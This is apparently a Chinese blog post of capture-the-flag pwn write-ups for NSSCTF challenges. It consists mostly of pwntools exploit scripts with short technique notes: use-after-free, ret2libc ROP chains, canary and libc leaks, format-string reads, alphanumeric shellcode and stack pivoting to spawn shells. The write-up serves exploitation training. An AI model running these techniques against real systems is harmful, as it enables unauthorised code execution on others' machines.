当前位置:   article > 正文

NSSCTF PWN方向刷题记录_pwnctf刷题

pwnctf刷题

[NISACTF 2022]UAF

  1. from pwn import *
  2. context.log_level='DEBUG'
  3. #io=process('./pwnuaf')
  4. io=remote('1.14.71.254',28905)
  5. elf=ELF('./pwnuaf')
  6. def _add_note():
  7. io.recvuntil(":")
  8. io.sendline("1")
  9. def _edit_note(id,content):
  10. io.recvuntil(":")
  11. io.sendline("2")
  12. io.recvuntil("Input page\n")
  13. io.sendline(str(id))
  14. io.recvuntil("Input your strings\n")
  15. io.sendline(content)
  16. def _delete_note(id):
  17. io.recvuntil(":")
  18. io.sendline("3")
  19. io.recvuntil("Input page\n")
  20. io.sendline(str(id))
  21. def _show_note(id):
  22. io.recvuntil(":")
  23. io.sendline("4")
  24. io.recvuntil("Input page\n")
  25. io.sendline(str(id))
  26. io.recvuntil("show\n")
  27. #gdb.attach(io,"^C")
  28. #pause()
  29. _add_note()
  30. _delete_note(0)
  31. _add_note()
  32. nico = 0x08048642
  33. payload = b"sh\x00\x00" + p32(nico)
  34. #payload = b"/bin/sh\x00" + p32(nico)
  35. _edit_note(1,payload)
  36. #gdb.attach(io,"^C")
  37. _show_note(0)
  38. io.interactive()

流程:先添加note 0 再删除note 0 再添加note 1 并修改note1 内容为payload note1所在地址空间实则为note 0 所在位置(free后指针没有置为null 存在UAF漏洞)

[HNCTF 2022 Week1]ezr0p32

  1. from pwn import *
  2. context(os='linux', arch='i386', log_level='debug')
  3. elf = ELF('./ezr0p')
  4. p=remote('node1.anna.nssctf.cn',28351)
  5. #p = process('./ezr0p')
  6. sys_addr=elf.symbols['system']
  7. offset=0x1c+0x04
  8. addr_bss=0x0804A080
  9. p.recv()
  10. p.send('/bin/sh\x00')
  11. p.recvuntil('time~')
  12. payload=b'a'*offset+p32(sys_addr)+p32(0xdeedbeef)+p32(addr_bss)
  13. p.sendline(payload)
  14. p.interactive()

[NISACTF 2022]ezheap

  1. from pwn import *
  2. context(os='linux', arch='amd64', log_level='debug')
  3. #sh=process('./pwn')
  4. sh=remote('node2.anna.nssctf.cn',28456)
  5. #gdb.attach(sh)
  6. #pause()
  7. payload=b'a'*(0x18+0x08)+b'/bin/sh\x00'
  8. sh.sendlineafter('Input:',payload)
  9. sh.interactive()

直接覆盖到下一个堆块

[HGAME 2022 week1]test your gdb

  1. from pwn import *
  2. context.log_level='debug'
  3. #sh=process('./service')
  4. sh=remote('node1.anna.nssctf.cn',28169)
  5. elf=ELF('./service')
  6. #gdb.attach(sh,'b *0x401378')
  7. #pause()
  8. cmptext=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
  9. sh.sendafter(b'word\n',cmptext)
  10. sh.recv(0x18)
  11. canary = u64(sh.recv(8))
  12. success(hex(canary))
  13. payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(elf.sym['b4ckd00r'])
  14. sh.sendline(payload)
  15. sh.interactive()

gdb直接断到0x401378

动调发现rbp-0x40位置两个数比较,直接把两个数调试出来,绕过decrypt的过程

泄露canary之后正常打栈溢出就行

[HNCTF 2022 Week1]ret2shellcode

  1. from pwn import *
  2. context(arch = 'amd64',os='linux')
  3. sh=remote('node2.anna.nssctf.cn',28709)
  4. #sh=process('./shellcode')
  5. buf_addr=0x00000000004040A0
  6. shellcode = asm(shellcraft.sh())
  7. #gdb.attach(sh)
  8. payload=(shellcode.ljust(0x108, b'A') + p64(buf_addr))
  9. #pause()
  10. sh.sendline(payload)
  11. sh.interactive()

 正常的shellcode

[HNCTF 2022 Week1]fmtstrre

  1. from pwn import *
  2. p=remote('node2.anna.nssctf.cn',28151)
  3. #p=process('./ezfmt')
  4. p.recv()
  5. payload = '%38$s'
  6. p.sendline(payload)
  7. flag = p.recvall()
  8. print(flag)
用格式化字符串$s泄露flag

[HNCTF 2022 Week1]easyoverflow

  1. from pwn import *
  2. context.log_level='DEBUG'
  3. p=remote("node2.anna.nssctf.cn",28302)
  4. #p=process('./easy_overflow')
  5. payload=b'a'*(0x30+0x04)
  6. p.sendline(payload)
  7. p.recvall()
  8. p.interactive()

[WUSTCTF 2020]getshell2

  1. from struct import pack
  2. from LibcSearcher import *
  3. def s(a):
  4. p.send(a)
  5. def sa(a, b):
  6. p.sendafter(a, b)
  7. def sl(a):
  8. p.sendline(a)
  9. def sla(a, b):
  10. p.sendlineafter(a, b)
  11. def r():
  12. print(p.recv())
  13. def rl(a):
  14. p.recvuntil(a)
  15. def debug():
  16. gdb.attach(p)
  17. pause()
  18. def get_addr():
  19. return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  20. context(os='linux', arch='amd64', log_level='debug')
  21. #p = process('./pwn')
  22. p = remote('1.14.71.254', 28832)
  23. elf = ELF('./pwn')
  24. payload = b'a'*0x1c + p32(0x08048529) + p32(next(elf.search(b'sh\x00')))
  25. s(payload)
  26. p.interactive()

tips: p32(system_plt) + p32(0) + p32(str_binsh) 可以替换成 p32(call_system) + p32(str_sh)
这是因为 call system 指令执行后会被当前 eip 寄存器的值压栈,所以在 p32(system_plt) + p32(0) + p32(str_binsh) 中我们用 p32(0) 作为 eip 寄存器的值进入栈中。那么我们使用 call system 指令的时候就不需要 p32(0) 作为 eip 寄存器的值进入栈中(call system 指令会自动实现将当前 eip 寄存器的值压栈),所以该指令后面直接跟参数
同样的,在 linux 中,/bin/sh 是二进制文件,而 sh 是环境变量,相当于执行 /bin/sh

[BJDCTF 2020]babyrop

  1. from struct import pack
  2. from LibcSearcher import *
  3. def s(a):
  4. p.send(a)
  5. def sa(a, b):
  6. p.sendafter(a, b)
  7. def sl(a):
  8. p.sendline(a)
  9. def sla(a, b):
  10. p.sendlineafter(a, b)
  11. def r():
  12. print(p.recv())
  13. def rl(a):
  14. p.recvuntil(a)
  15. def debug():
  16. gdb.attach(p)
  17. pause()
  18. def get_addr():
  19. return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  20. context(os='linux', arch='amd64', log_level='debug')
  21. #p = process('./pwn')
  22. p = remote('1.14.71.254', 28949)
  23. elf = ELF('./pwn')
  24. libc = ELF('buu/libc-2.23-x64.so')
  25. rdi = 0x400733
  26. sa(b'story', b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main']))
  27. libc_base = get_addr() - libc.sym['puts']
  28. system = libc_base + libc.sym['system']
  29. binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
  30. sa(b'story', b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system))
  31. p.interactive()

这道题的 libc 就是 buu 官方提供的 libc-2.27-x64.so

[NSSCTF 2022 Spring Recruit]R3m4ke?

  1. from struct import pack
  2. from LibcSearcher import *
  3. def s(a):
  4. p.send(a)
  5. def sa(a, b):
  6. p.sendafter(a, b)
  7. def sl(a):
  8. p.sendline(a)
  9. def sla(a, b):
  10. p.sendlineafter(a, b)
  11. def r():
  12. print(p.recv())
  13. def rl(a):
  14. p.recvuntil(a)
  15. def debug():
  16. gdb.attach(p)
  17. pause()
  18. def get_addr():
  19. return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  20. context(os='linux', arch='amd64', log_level='debug')
  21. p = process('./pwn')
  22. #p = remote('1.14.71.254', 28913)
  23. elf = ELF('./pwn')
  24. payload = b'a'*0x28 + p64(elf.sym['LookAtMe'])
  25. sla(b'>', payload)
  26. p.interactive()

[HUBUCTF 2022 新生赛]fmt

  1. from struct import pack
  2. from LibcSearcher import *
  3. def s(a):
  4. p.send(a)
  5. def sa(a, b):
  6. p.sendafter(a, b)
  7. def sl(a):
  8. p.sendline(a)
  9. def sla(a, b):
  10. p.sendlineafter(a, b)
  11. def r():
  12. p.recv()
  13. def pr():
  14. print(p.recv())
  15. def rl(a):
  16. p.recvuntil(a)
  17. def debug():
  18. gdb.attach(p)
  19. pause()
  20. def get_addr():
  21. return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  22. context(os='linux', arch='amd64', log_level='debug')
  23. #p = process('./pwn')
  24. p = remote('43.143.7.127', 28101)
  25. elf = ELF('./pwn')
  26. #libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
  27. #libc = ELF('buu/libc-2.23-x64.so')
  28. def get_flag(k):
  29. sla(b'service', k)
  30. rl(b'0x')
  31. a = p.recvline()[:-1][::-1]
  32. f = ''
  33. for i in range(0, len(a), 2):
  34. f += chr(int(a[i:i+2][::-1], 16))
  35. return f
  36. #gdb.attach(p, 'b *$rebase(0x9B1)')
  37. flag = ''
  38. for i in range(12, 20):
  39. flag += get_flag(b'%' + str(i).encode() + b'$p')
  40. print(flag)

[HNCTF 2022 Week1]ezr0p64

  1. from struct import pack
  2. from LibcSearcher import *
  3. def s(a):
  4. p.send(a)
  5. def sa(a, b):
  6. p.sendafter(a, b)
  7. def sl(a):
  8. p.sendline(a)
  9. def sla(a, b):
  10. p.sendlineafter(a, b)
  11. def r():
  12. p.recv()
  13. def pr():
  14. print(p.recv())
  15. def rl(a):
  16. p.recvuntil(a)
  17. def inter():
  18. p.interactive()
  19. def debug():
  20. gdb.attach(p)
  21. pause()
  22. def get_addr():
  23. return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  24. context(os='linux', arch='i386', log_level='debug')
  25. #p = process('./pwn')
  26. p = remote('43.143.7.97', 28768)
  27. elf = ELF('./pwn')
  28. #libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
  29. libc = ELF('libc.so.6')
  30. rl(b'0x')
  31. libc_base = int(p.recv(12), 16) - libc.sym['puts']
  32. system = libc_base + libc.sym['system']
  33. binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
  34. rdi = 0x4012a3
  35. ret = 0x40101a
  36. payload = b'a'*0x108 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
  37. sa(b'rop.', payload)
  38. inter()

[NISACTF 2022]shop_pwn

  1. from pwn import *
  2. from struct import pack
  3. from LibcSearcher import *
  4. def s(a):
  5. p.send(a)
  6. def sa(a, b):
  7. p.sendafter(a, b)
  8. def sl(a):
  9. p.sendline(a)
  10. def sla(a, b):
  11. p.sendlineafter(a, b)
  12. def r():
  13. p.recv()
  14. def pr():
  15. print(p.recv())
  16. def rl(a):
  17. p.recvuntil(a)
  18. def debug():
  19. gdb.attach(p)
  20. pause()
  21. def get_addr():
  22. return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  23. context(os='linux', arch='amd64', log_level='debug')
  24. #p = process('./dxc')
  25. p = remote('node1.anna.nssctf.cn',28494)
  26. elf = ELF('./dxc')
  27. sl(b'3')
  28. sl(b'0')
  29. sl(b'3')
  30. sl(b'0')
  31. sla(b'> ', b'2')
  32. sla(b'> ', b'1')
  33. r()
  34. sla(b'> ', b'1')
  35. r()
  36. r()
  37. pr()

一个新知识点:

pthread_create多线程竞争,简单来说就是这个函数创建线程,如果我们指令发送得快的话,那么就可以实现第一次售卖功能执行的时候正在 unsleep,接着执行第二次售卖功能,那么就能卖出两次得到可以购买 flag 的金钱了

[HNCTF 2022 Week1]ezr0p64

  1. from pwn import *
  2. sh=remote('node2.anna.nssctf.cn',28627)
  3. #sh=process('./ezrop64')
  4. elf=ELF('./ezrop64')
  5. libc=ELF('./libc.so.6')
  6. #libc=elf.libc
  7. ret_addr = 0x0000000000401170
  8. pop_rdi = 0x00000000004012a3
  9. main_addr=elf.symbols['main']
  10. puts_plt=elf.plt['puts']
  11. puts_got=elf.got['puts']
  12. payload=b'a'*(0x108)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
  13. sh.recv()
  14. sh.sendline(payload)
  15. puts_addr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
  16. print(hex(puts_addr))
  17. base=puts_addr-libc.symbols['puts']
  18. bin_addr=base+libc.search(b'/bin/sh').__next__()
  19. system=base+libc.symbols['system']
  20. #gdb.attach(sh)
  21. #pause()
  22. payload2=b'a'*(0x108)+p64(ret_addr)+p64(pop_rdi)+p64(bin_addr)+p64(system)
  23. sh.recv()
  24. sh.sendline(payload2)
  25. sh.interactive()
没什么多说的 经典rop ret2libc

[CISCN 2019华中]PWN1

  1. from LibcSearcher import *
  2. from pwn import *
  3. def s(a):
  4. p.send(a)
  5. def sa(a, b):
  6. p.sendafter(a, b)
  7. def sl(a):
  8. p.sendline(a)
  9. def sal(a, b):
  10. p.sendlineafter(a, b)
  11. def r():
  12. print(p.recv())
  13. def rl(a):
  14. p.recvuntil(a)
  15. def debug():
  16. gdb.attach(p)
  17. pause()
  18. def get_addr():
  19. return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  20. context(os='linux', arch='amd64', log_level='debug')
  21. #p = process('./pwn')
  22. p = remote('node3.anna.nssctf.cn',28731)
  23. elf = ELF('./pwn')
  24. rdi = 0x400c83
  25. ret = 0x4006b9
  26. sal('choice', b'1')
  27. payload = b'\x00' + b'a'*0x57 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main'])
  28. sal('encrypted', payload)
  29. libc_base = get_addr() - 0x0809c0
  30. system = libc_base + 0x04f440
  31. binsh = libc_base + 0x1b3e9a
  32. sal('choice', b'1')
  33. payload = b'\x00' + b'a'*0x57 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
  34. sal('encrypted', payload)
  35. p.interactive()

主要就是\x00绕过检测,后面都是ret2libc

[CISCN 2022 初赛]login_normal

  1. from pwn import *
  2. context.log_level='debug'
  3. p=process('./pwn')
  4. p=remote('node4.anna.nssctf.cn',28935)
  5. shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
  6. payload1='opt:1\n'+'msg:ro0t\r\n'
  7. payload2='opt:2\n'+'msg:'+shellcode+'\r\n'
  8. p.sendlineafter('>>> ',payload1)
  9. p.sendlineafter('>>> ',payload2)
  10. p.interactive()

本题主要的难点我认为在于ida逆向的分析,需要发现出payload的格式:opt:v7\n+msg:dest\n

后面就是分析函数流,v7为1的时候,控制dest为“ro0t”,进行初始化

再当v7为2的时候,直接控制dest为可见字符shellcode,即可

\r是因为 在截断的时候会长度-1 需要多一位来用来被截断

ciscn_2019_es_2

  1. from struct import pack
  2. from LibcSearcher import *
  3. from pwn import *
  4. def s(a):
  5. p.send(a)
  6. def sa(a, b):
  7. p.sendafter(a, b)
  8. def sl(a):
  9. p.sendline(a)
  10. def sla(a, b):
  11. p.sendlineafter(a, b)
  12. def r():
  13. p.recv()
  14. def pr():
  15. print(p.recv())
  16. def rl(a):
  17. p.recvuntil(a)
  18. def inter():
  19. p.interactive()
  20. def debug():
  21. gdb.attach(p)
  22. pause()
  23. def get_addr64():
  24. return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  25. def get_addr32():
  26. return u32(p.recvuntil(b'\xff')[-4:])
  27. context(log_level='debug')
  28. #p = process('./pwn')
  29. p = remote('node3.anna.nssctf.cn',28012)
  30. elf = ELF('./pwn')
  31. #libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
  32. libc = ELF('./libc-2.27.so')
  33. leave_ret = 0x080484b8
  34. sys_addr=0x08048400
  35. #gdb.attach(p)
  36. #pause()
  37. sa('name?',b'a'*0x26+b'BB')
  38. rl(b'aaBB')
  39. ebp_addr=u32(p.recv(4))
  40. success(hex(ebp_addr))
  41. payload = b'aaaa' + p32(elf.sym['system']) + p32(0) + p32(ebp_addr - 0x28) + b'/bin/sh\x00'
  42. payload = payload.ljust(0x28, b'\x00') + p32(ebp_addr - 0x38) + p32(leave_ret)
  43. sa(b'\n', payload)
  44. inter()

这里贴出另一段代码来解释栈迁移:

  1. from pwn import *
  2. io = process('./pwn')
  3. #io = remote('node4.buuoj.cn',27727)
  4. elf = ELF('./pwn')
  5. context.log_level='debug'
  6. leave_ret = 0x080484b8
  7. io.recvline()
  8. payload1 = 'a'*0x26+'b'*2
  9. io.send(payload1)
  10. io.recvuntil('aabb')
  11. ebp = u32(io.recv(4))
  12. print ("ebp----->" + hex(ebp))
  13. # padding # system #ret addr # binsh_addr # bin sh
  14. payload2 = b'a'*0x4 + p32(elf.plt['system']) + b'bbbb' + p32(ebp-0x28)+b'/bin'+b'/sh\x00'
  15. payload2=payload2.ljust(0x28,'\x00')
  16. # pivot addr # ret addr
  17. payload2+=p32(ebp-0x38)+p32(leave_ret)
  18. # gdb.attach(io,"b *0x080485FD")
  19. io.sendline(payload2)
  20. io.interactive()

其中第一段代码一直跑不通,原因最后找到在于ebp_addr的地址一直是错误的,因为前面使用了sendline而不是send,多输入了一个\n,覆盖到了后面需要泄露的ebp地址!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小舞很执着/article/detail/757258
推荐阅读
相关标签
  

闽ICP备14008679号